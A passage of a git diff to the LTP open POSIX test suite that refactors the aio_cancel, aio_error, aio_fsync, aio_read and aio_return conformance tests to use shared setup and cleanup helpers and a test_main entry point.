PTS_FAIL; } - close(fd); + if (ret != AIO_NOTCANCELED) { + printf(TNAME " Unexpected aio_cancel() return value: %d\n", + ret); + cleanup_aio(fds, aiocb, BUF_NB); + return PTS_FAIL; + } + + for (i = 0, exp_ret = 0; i < BUF_NB; i++) { + ret = (aio_error(&aiocb[i])); - check_one = 0; - do { - in_progress = 0; - for (i = 0; i < BUF_NB; i++) { - int ret; + if (i == BLOCKED_TASK) { + if (ret != EINPROGRESS) { + printf(TNAME " Bad task #%d result: %s " + "(expected EINPROGRESS)\n", + i, strerror(ret)); + cleanup_aio(fds, aiocb, BUF_NB); + return PTS_FAIL; + } - ret = (aio_error(aiocb[i])); + /* check iocb is not modified */ + if ((aiocb[i].aio_fildes != fds[0]) || + (aiocb[i].aio_buf != buf[i]) || + (aiocb[i].aio_nbytes != (size_t)bufsize) || + (aiocb[i].aio_offset != 0) || + (aiocb[i].aio_sigevent.sigev_notify != + SIGEV_NONE)) { - if (ret == -1) { - printf(TNAME " Error at aio_error(): %s\n", - strerror(errno)); + printf(TNAME " aiocbp modified\n"); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; - } else if ((ret == EINPROGRESS) || (ret == 0)) { - if (ret == EINPROGRESS) - in_progress = 1; - - check_one = 1; - - /* check iocb is not modified */ - - if ((aiocb[i]->aio_fildes != fd) || - (aiocb[i]->aio_buf != buf[i]) || - (aiocb[i]->aio_nbytes != BUF_SIZE) || - (aiocb[i]->aio_offset != 0) || - (aiocb[i]->aio_sigevent.sigev_notify != - SIGEV_NONE)) { - printf(TNAME " aiocbp modified\n"); - return PTS_FAIL; - } } + + exp_ret = ECANCELED; + continue; } - } while (in_progress); - if (!check_one) - return PTS_UNRESOLVED; + if (ret != exp_ret) { + printf(TNAME " Bad task #%d result: %s", + i, strerror(ret)); + printf(" (expected %s)\n", strerror(exp_ret)); + cleanup_aio(fds, aiocb, BUF_NB); + return PTS_FAIL; + } + } + cleanup_aio(fds, aiocb, BUF_NB); + printf("Test PASSED\n"); return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c index c35aeee9..5f620909 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2026 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -14,128 +15,87 @@ * * method: * - * queue a lot of aio_write() to a given fildes. - * try to cancel the last one submited - * if aio_error() is ECANCELED and aio_cancel() is AIO_CANCELED - * test is passed - * if aio_error() is ECANCELED and aio_cancel() is NOT AIO_CANCELED - * test is failed - * if there is no aio_error() with ECANCELED and - * aio_cancel() is AIO_CANCELED - * test is failed - * otherwise test is unresolved + * queue multiple aio_write()s to a given socket + * try to cancel a task which hasn't been started yet + * if aio_cancel() return value is not AIO_CANCELED, the test failed + * for blocked tasks, aio_error() must be: + * - ECANCELED if aio_cancel() was called on it + * - EINPROGRESS otherwise + * if all aio_error() values match, the test passed, otherwise it failed * */ -#include <stdio.h> -#include <sys/types.h> #include <unistd.h> -#include <sys/stat.h> -#include <fcntl.h> -#include <string.h> -#include <errno.h> -#include <stdlib.h> -#include <aio.h> #include "posixtest.h" -#include "tempfile.h" +#include "aio_test.h" #define TNAME "aio_cancel/6-1.c" -#define BUF_NB 128 -#define BUF_SIZE 1024 +#define WRITE_COUNT 8 +#define MAX_COMPLETE 3 +#define CANCELED_TASK 5 -int main(void) +static int fds[2]; +static struct aiocb aiocb[WRITE_COUNT]; + +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - char tmpfname[PATH_MAX]; - int fd; - struct aiocb *aiocb[BUF_NB]; int i; - int in_progress; int gret; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) return PTS_UNSUPPORTED; - PTS_GET_TMP_FILENAME(tmpfname, "pts_aio_cancel_6_1"); - unlink(tmpfname); - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); + if (setup_aio(TNAME, fds, aiocb, WRITE_COUNT)) return PTS_UNRESOLVED; - } - - unlink(tmpfname); /* create AIO req */ - - for (i = 0; i < BUF_NB; i++) { - aiocb[i] = calloc(1, sizeof(struct aiocb)); - if (aiocb[i] == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - aiocb[i]->aio_fildes = fd; - aiocb[i]->aio_buf = malloc(BUF_SIZE); - if (aiocb[i]->aio_buf == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - aiocb[i]->aio_nbytes = BUF_SIZE; - aiocb[i]->aio_offset = 0; - aiocb[i]->aio_sigevent.sigev_notify = SIGEV_NONE; - - if (aio_write(aiocb[i]) == -1) { + for (i = 0; i < WRITE_COUNT; i++) { + if (aio_write(&aiocb[i]) == -1) { printf(TNAME " loop %d: Error at aio_write(): %s\n", - i, strerror(errno)); + i, strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } } - /* try to cancel the last one queued */ - - gret = aio_cancel(fd, aiocb[i - 1]); + gret = aio_cancel(fds[0], &aiocb[CANCELED_TASK]); if (gret == -1) { printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } - close(fd); - - do { - in_progress = 0; - for (i = 0; i < BUF_NB; i++) { - int ret; - - ret = (aio_error(aiocb[i])); - - if (ret == -1) { - printf(TNAME " Error at aio_error(): %s\n", - strerror(errno)); - return PTS_FAIL; - } else if (ret == EINPROGRESS) - in_progress = 1; - else if (ret == ECANCELED) { - if (gret == AIO_CANCELED) { - printf("Test PASSED\n"); - return PTS_PASS; - } - - printf(TNAME - " aio_cancel() is not AIO_CANCELED\n"); - return PTS_FAIL; - } + if (gret != AIO_CANCELED) { + printf(TNAME " Unexpected aio_cancel() return value %d\n", + gret); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } + + for (i = MAX_COMPLETE; i < WRITE_COUNT; i++) { + int exp_ret = (i == CANCELED_TASK) ? ECANCELED : EINPROGRESS; + int ret = aio_error(&aiocb[i]); + + if (ret == -1) { + printf(TNAME " Error at aio_error(): %s\n", + strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; } - } while (in_progress); - if (gret == AIO_CANCELED) { - printf(TNAME - " aio_cancel() is AIO_CANCELED without ECANCELED\n"); - return PTS_FAIL; + if (ret != exp_ret) { + printf(TNAME " Bad task #%d result %s", + i, strerror(ret)); + printf(" (expected: %s)\n", strerror(exp_ret)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } } - return PTS_UNRESOLVED; + cleanup_aio(fds, aiocb, WRITE_COUNT); + printf("Test PASSED\n"); + return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c index 75cd838a..4bb9d8d0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c @@ -27,16 +27,11 @@ * Otherwise pass. */ -#include <stdio.h> #include <unistd.h> -#include <string.h> -#include <errno.h> -#include <stdlib.h> #include <time.h> -#include <aio.h> -#include <sys/socket.h> #include "posixtest.h" +#include "aio_test.h" #define TNAME "aio_cancel/7-1.c" @@ -46,79 +41,25 @@ static int fds[2]; static struct aiocb aiocb[BUF_NB]; -static void cleanup(void) -{ - int i, ret; - - for (i = 0; i < BUF_NB; i++) { - if (!aiocb[i].aio_buf) - break; - - ret = aio_error(&aiocb[i]); - - /* flush written data from the socket */ - if (ret == 0 || ret == EINPROGRESS) { - read(fds[1], (void *)aiocb[i].aio_buf, - aiocb[i].aio_nbytes); - } - - free((void *)aiocb[i].aio_buf); - } - - close(fds[0]); - close(fds[1]); -} - -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i; int gret; - int bufsize; int exp_ret; - socklen_t argsize = sizeof(bufsize); const struct timespec sleep_ts = { .tv_sec = 0, .tv_nsec = 10000000 }; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) return PTS_UNSUPPORTED; - gret = socketpair(AF_UNIX, SOCK_DGRAM, 0, fds); - if (gret == -1) { - printf(TNAME " Error creating sockets(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - - gret = getsockopt(fds[0], SOL_SOCKET, SO_SNDBUF, &bufsize, &argsize); - if (gret == -1) { - printf(TNAME " Error reading socket buffer size: %s\n", - strerror(errno)); - cleanup(); + if (setup_aio(TNAME, fds, aiocb, BUF_NB)) return PTS_UNRESOLVED; - } - /* Socket buffer size is twice the maximum message size */ - bufsize /= 2; - - /* create AIO req */ + /* submit AIO req */ for (i = 0; i < BUF_NB; i++) { - aiocb[i].aio_fildes = fds[0]; - aiocb[i].aio_buf = malloc(bufsize); - - if (aiocb[i].aio_buf == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - cleanup(); - return PTS_UNRESOLVED; - } - - aiocb[i].aio_nbytes = bufsize; - aiocb[i].aio_offset = 0; - aiocb[i].aio_sigevent.sigev_notify = SIGEV_NONE; - if (aio_write(&aiocb[i]) == -1) { printf(TNAME " loop %d: Error at aio_write(): %s\n", i, strerror(errno)); - cleanup(); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } } @@ -135,7 +76,7 @@ int main(void) if (gret) { printf(TNAME " Task #%d failed to complete: %s\n", BLOCKED_TASK - 1, strerror(gret == -1 ? errno : gret)); - cleanup(); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } @@ -143,14 +84,14 @@ int main(void) gret = aio_cancel(fds[0], NULL); if (gret == -1) { printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); - cleanup(); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } if (gret != AIO_NOTCANCELED) { - printf(TNAME " Unexpected aio_cancel() return value: %s\n", - strerror(gret)); - cleanup(); + printf(TNAME " Unexpected aio_cancel() return value: %d\n", + gret); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } @@ -172,19 +113,20 @@ int main(void) printf(TNAME " Bad task #%d result: %s " "(expected EINPROGRESS)\n", i, strerror(ret)); - cleanup(); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } if (ret != exp_ret) { - printf(TNAME " Bad task #%d result: %s (expected %s)\n", - i, strerror(ret), strerror(exp_ret)); - cleanup(); + printf(TNAME " Bad task #%d result: %s", + i, strerror(ret)); + printf(" (expected %s)\n", strerror(exp_ret)); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } } - cleanup(); + cleanup_aio(fds, aiocb, BUF_NB); printf("Test PASSED\n"); return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c index f11e0670..95f3894b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/8-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_cancel/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c index 0d9027da..6738437e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/9-1.c @@ -32,7 +32,7 @@ #define TNAME "aio_cancel/9-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c index 70b0a9db..ffc6ba57 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/1-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_error/1-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c index c35bcfd9..0d2cd117 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c @@ -38,7 +38,7 @@ #define BUF_NB 128 #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c index 102d9927..358ec74f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_error/3-1.c @@ -34,7 +34,7 @@ #define TNAME "aio_error/3-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c index 9e3d8002..2459e1fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/12-1.c @@ -20,7 +20,7 @@ #define TNAME "aio_fsync/12-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct aiocb aiocb; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c index 6f6f190e..0be60b64 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/14-1.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/14-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c index 6faa20a0..add861bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/2-1.c @@ -24,7 +24,7 @@ #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c index fa5adb46..355ea192 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/3-1.c @@ -24,7 +24,7 @@ #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c index 172b12f3..dcaf7de6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/4-1.c @@ -23,7 +23,7 @@ #define TNAME "aio_fsync/4-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c index 2f6c2a16..fe1c1e7d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/5-1.c @@ -24,7 +24,7 @@ #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c index 69378e71..9870cad6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-1.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c index ee0d25c7..dcbdbd8f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-2.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/8-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c index 867fbf0c..847832b8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-3.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/8-3.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c index 0db00ca1..d304119f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/8-4.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/8-4.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c index 658c1a1e..6ab962dd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_fsync/9-1.c @@ -22,7 +22,7 @@ #define TNAME "aio_fsync/9-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c index 37fd557a..51257d0c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/1-1.c @@ -33,7 +33,7 @@ #define TNAME "aio_read/1-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define WBUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c index f3f271aa..20407d63 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/10-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_read/10-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #define BUF_SIZE 111 char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c index 8f78970e..3cdb4b04 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_read/11-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c index 4c1cba6a..c90fd6a4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/11-2.c @@ -36,7 +36,7 @@ #define TNAME "aio_read/11-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c index 00250cbd..8db1d046 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-1.c @@ -34,7 +34,7 @@ #define TNAME "aio_read/3-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c index b19c2b3b..ed0e483e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/3-2.c @@ -34,7 +34,7 @@ #define TNAME "aio_read/3-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c index d80a6557..b3cc4342 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/4-1.c @@ -34,7 +34,7 @@ #define TNAME "aio_read/4-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c index ce9c09a4..5f16862c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/5-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_read/5-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c index a5d3ef7a..2e98d808 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/7-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_read/7-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 111 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c index e0fecd80..a555ff6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/8-1.c @@ -34,7 +34,7 @@ #define TNAME "aio_read/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct aiocb aiocb; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c index cd1aa031..15e8cbd1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_read/9-1.c @@ -39,7 +39,7 @@ #define NUM_AIOCBS 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c index 70499a0a..2ce05180 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/1-1.c @@ -37,7 +37,7 @@ #define TNAME "aio_return/1-1.c" #define BUF_SIZE 111 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c index dc929c5f..9e074b7f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/2-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_return/2-1.c" #define BUF_SIZE 111 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char buf[BUF_SIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c index 32ca22d9..a6f48f53 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_return/3-1.c @@ -40,7 +40,7 @@ #define TNAME "aio_return/3-1.c" #define BUF_SIZE 4096 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv 